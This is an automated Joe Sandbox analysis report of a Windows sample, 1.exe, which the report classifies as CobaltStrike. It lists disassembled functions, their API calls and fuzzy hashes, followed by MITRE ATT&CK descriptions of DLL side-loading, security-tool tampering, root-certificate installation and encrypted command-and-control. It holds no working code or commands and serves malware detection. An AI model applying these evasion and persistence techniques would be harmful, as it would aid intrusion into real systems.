Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 07110f3e4585fca3029552749c4b5a6eefc6802b1a1722dc30d4a2d58fd3f1a6
Instruction ID: b93cde87a6c40efe5efc22a88bcd30119029abd6d1ad7554e1c4135a37bffe56
Opcode Fuzzy Hash: 07110f3e4585fca3029552749c4b5a6eefc6802b1a1722dc30d4a2d58fd3f1a6
Instruction Fuzzy Hash: 7E3106B260D28186E3709F24F54476BBAA0FBD0784F858138EA88477E4EF3DD454CB50

Function 000002B66A0C83D0 Relevance: 5.4, APIs: 4, Instructions: 378COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000002B66A0C8443
malloc.LIBCMT ref: 000002B66A0C8667
malloc.LIBCMT ref: 000002B66A0C8765

Part of subcall function 000002B66A0CBA74: _getptd.LIBCMT ref: 000002B66A0CBA93

free.LIBCMT ref: 000002B66A0C874D

Part of subcall function 000002B66A0C979C: RtlFreeHeap.NTDLL ref: 000002B66A0C97B2
Part of subcall function 000002B66A0C979C: _errno.LIBCMT ref: 000002B66A0C97BC

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: malloc$FreeHeap_errno_getptdfree
String ID:
API String ID: 3311824342-0
Opcode ID: d0a27817efde19c6f8d87261e0c14dccd853f4b6914fa58adb41ed9447b39478
Instruction ID: 18e06c03d81c4f1df9989b101ea2493b517125183e80cd470b2044bbe81e8ef2
Opcode Fuzzy Hash: d0a27817efde19c6f8d87261e0c14dccd853f4b6914fa58adb41ed9447b39478
Instruction Fuzzy Hash: 8DC1C330E24A048FF769DF28984977533E4F74A314F60412AD467C31A2DB7D98878796

Function 000002B66A0C9DC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002B66A0C9E11

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

_invalid_parameter_noinfo.LIBCMT ref: 000002B66A0C9E1C

Strings

B, xrefs: 000002B66A0C9E48

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID: B
API String ID: 1812809483-1255198513
Opcode ID: 6354dd7fc53b9600f59efb332da70efbe254211307fc8429e275f3790f02590a
Instruction ID: eacb9c4b58b8c15e942cef2f50f394057e56ad8169246f34ebdeb09f3d49f985
Opcode Fuzzy Hash: 6354dd7fc53b9600f59efb332da70efbe254211307fc8429e275f3790f02590a
Instruction Fuzzy Hash: 6711B230618A088FD754EF5894897A5B7D5FB98328F1047AEA02AC32A1CB78C880C792

Function 00007FF7AD041C10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7AD041C90

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7AD041C77
Unknown error, xrefs: 00007FF7AD041CFC

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 18b5a7e72f4aa1f32891237afb46640efb7dc138980b134b57c0f1cc52138558
Instruction ID: bcd578a47acadb669053fdcb6f8e2fb010e8fab75a7cf7259b68f70fda9e2d15
Opcode Fuzzy Hash: 18b5a7e72f4aa1f32891237afb46640efb7dc138980b134b57c0f1cc52138558
Instruction Fuzzy Hash: 1D018262D0DF8482D6019F1CD8005BBB331FBAE749F569326EE8C26165EF28E592C710

Function 00007FF7AD041CB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7AD041C90

Strings

Argument domain error (DOMAIN), xrefs: 00007FF7AD041CB0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7AD041C77

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 36a8b9b8bb6a0068f3851d73249c556652288eaa394a31a9df822b8f59a9715d
Instruction ID: 4b5649ccdb654c9a00df74f8c1376ccaa7e9220f0b383d3d1f691872384d05ba
Opcode Fuzzy Hash: 36a8b9b8bb6a0068f3851d73249c556652288eaa394a31a9df822b8f59a9715d
Instruction Fuzzy Hash: 77F06252C0DE8482D2029F1DA8001ABB331FF9E788F955326EE8D26165EF28E5928710

Function 00007FF7AD041CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7AD041C90

Strings

Overflow range error (OVERFLOW), xrefs: 00007FF7AD041CD0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7AD041C77

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: e9767e1b7891e187fd86bbc5d73802c34d596f274d59eef1662dea47d815f603
Instruction ID: 74654362899f9e9fccb6bd3919f1525d72d06ab9fb0da36bee9f95133961e801
Opcode Fuzzy Hash: e9767e1b7891e187fd86bbc5d73802c34d596f274d59eef1662dea47d815f603
Instruction Fuzzy Hash: CDF09652C0DE8482D2029F1DA4000BBB331FF9D788F955326EF8D26165EF28E5928710

Function 00007FF7AD041CC0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7AD041C90

Strings

Partial loss of significance (PLOSS), xrefs: 00007FF7AD041CC0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7AD041C77

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: 02d120e96a4f18504ed5b78213fe030ed88dcfe4954d98f3a15fc78ff0f8aa15
Instruction ID: 045493fce1504ef04c28d7a08070d38549538e93eb5d59ceb129518ea97df667
Opcode Fuzzy Hash: 02d120e96a4f18504ed5b78213fe030ed88dcfe4954d98f3a15fc78ff0f8aa15
Instruction Fuzzy Hash: 43F09652C0DE8482D2029F1DA4000BBB331FF9D788F955326EF8D36165EF28E5928710

Function 00007FF7AD041CF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7AD041C90

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7AD041C77
Total loss of significance (TLOSS), xrefs: 00007FF7AD041CF0

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: cf3cde470adbfa676136cf92705c7a73604e31a104007e65b262180e8165483a
Instruction ID: 82c4b2f337bd4702a8508025e183c12f4f744643f4b25a66efa777512e128913
Opcode Fuzzy Hash: cf3cde470adbfa676136cf92705c7a73604e31a104007e65b262180e8165483a
Instruction Fuzzy Hash: 7BF09652C0DE8482D2029F1DA4000BBB331FF9D788F955326EF8D26565EF28E5928710

Function 00007FF7AD041CE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7AD041C90

Strings

The result is too small to be represented (UNDERFLOW), xrefs: 00007FF7AD041CE0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7AD041C77

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 9ae2bdb1f3dde9bb08c4549d06ee16cc509c6c2e1d9ee9e5fe925181760e0a59
Instruction ID: c79a11f86c167a84311744cd6e3556a206b9629ee4babefcbdee510e126b9cee
Opcode Fuzzy Hash: 9ae2bdb1f3dde9bb08c4549d06ee16cc509c6c2e1d9ee9e5fe925181760e0a59
Instruction Fuzzy Hash: 6EF09652C0DF8482D2029F1DA4000BBB331FF9D788FA55326EF8D26165EF28E5928710

Function 00007FF7AD041C48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7AD041C90

Strings

Argument singularity (SIGN), xrefs: 00007FF7AD041C48
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7AD041C77

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 895bed46dadeadfeba59de4c3ea82e4edf64d5721dd00a691e0523597a9cd40e
Instruction ID: 97c61d3316575d8a866035be50ca22bcc0df05bced5bca02c0e7e25230d13b91
Opcode Fuzzy Hash: 895bed46dadeadfeba59de4c3ea82e4edf64d5721dd00a691e0523597a9cd40e
Instruction Fuzzy Hash: A9F09652C0DF8482D2029F1DA4000ABB331FF9D788F555326EF8D2A165EF28E5928710

Function 000002B66A0C7898 Relevance: 5.2, APIs: 4, Instructions: 226COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000002B66A0C78CC

Part of subcall function 000002B66A0C97DC: _FF_MSGBANNER.LIBCMT ref: 000002B66A0C980C
Part of subcall function 000002B66A0C97DC: _NMSG_WRITE.LIBCMT ref: 000002B66A0C9816
Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C984A
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9855
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9860

free.LIBCMT ref: 000002B66A0C7A13
free.LIBCMT ref: 000002B66A0C7A77
free.LIBCMT ref: 000002B66A0C7A83

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: dd038f529a1152db983726e88818db10f6b0a149fc053e6d5e168077c86b9374
Instruction ID: fb61d0ac87e5fa5a72b01af40f91fa893748768896b0f7bb1d3a878c07e398b1
Opcode Fuzzy Hash: dd038f529a1152db983726e88818db10f6b0a149fc053e6d5e168077c86b9374
Instruction Fuzzy Hash: 5061BB30A18A084BEB59EB28948D7BD73D5E7D4758F10061DE46BC31C3DF3E998287A2

Function 000002B66A0BD208 Relevance: 5.2, APIs: 4, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 000002B66A0BD2A5

Part of subcall function 000002B66A0C9B9C: _errno.LIBCMT ref: 000002B66A0C9BD3
Part of subcall function 000002B66A0C9B9C: _invalid_parameter_noinfo.LIBCMT ref: 000002B66A0C9BDE

_snprintf.LIBCMT ref: 000002B66A0BD2C1
_snprintf.LIBCMT ref: 000002B66A0BD337
_snprintf.LIBCMT ref: 000002B66A0BD34E

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _snprintf$_errno_invalid_parameter_noinfo
String ID:
API String ID: 3442832105-0
Opcode ID: fc51f4615cf0e27a482f6b22ff4d87c06e4feeef8bc37e62b75beb2dd9a3da3a
Instruction ID: 9761cefb918c6a08650392357f7f92c5e7bd2a89f87b2a5d9d44fec8e95ef8d5
Opcode Fuzzy Hash: fc51f4615cf0e27a482f6b22ff4d87c06e4feeef8bc37e62b75beb2dd9a3da3a
Instruction Fuzzy Hash: A761A930918A488FEB44EF54D8897EAB7E5FB98309F004669E45BC3192DF3DD985CB81

Function 000002B66A0B3300 Relevance: 5.2, APIs: 4, Instructions: 179COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000002B66A0B3363

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 0ccdd68a0240799a77ae4be0c48a7008bd312d06eef73861b9d961f3f66470dc
Instruction ID: 723fd1da55290788f4636b5b6af719a85650370f9dce3b93f270be151003bf62
Opcode Fuzzy Hash: 0ccdd68a0240799a77ae4be0c48a7008bd312d06eef73861b9d961f3f66470dc
Instruction Fuzzy Hash: 7851D930A1CA054BDB5D9F2C948D67A73D5FB89304F14066DE85BC3686EF3AEC828641

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: CobaltStrike

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\Mailslot\slot-9265

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Windows Analysis Report
1.exe

Function 00007FF7AD0414D8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 77
memorylibrarynativeCOMMON

Function 00007FF7AD041180 Relevance: 10.6, APIs: 7, Instructions: 138
sleepstringCOMMON

Function 000002B66A0C2FA8 Relevance: 4.7, APIs: 3, Instructions: 190
stringCOMMONLIBRARYCODE

Function 000002B66A0BFC3E Relevance: .2, Instructions: 211
COMMON

Function 00007FF7AD0417A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53
filesleepCOMMON

Function 000002B66A0BCCD4 Relevance: 7.7, APIs: 5, Instructions: 239
networkCOMMONLIBRARYCODE

Function 000002B66A0BD570 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103
networkCOMMONLIBRARYCODE

Function 00007FF7AD041603 Relevance: 6.1, APIs: 4, Instructions: 60
threadCOMMON

Function 00007FF7AD0416BC Relevance: 6.1, APIs: 4, Instructions: 57
memorythreadCOMMON

Function 00007FF7AD0418F9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMON

Function 000002B66A0BD054 Relevance: 3.2, APIs: 2, Instructions: 157
networkCOMMONLIBRARYCODE

Function 00007FF7AD04186A Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Function 00007FF7AD0480D0 Relevance: 3.0, APIs: 2, Instructions: 13
synchronizationCOMMON

Function 000002B66A0C5FA4 Relevance: 1.3, APIs: 1, Instructions: 61
COMMONLIBRARYCODE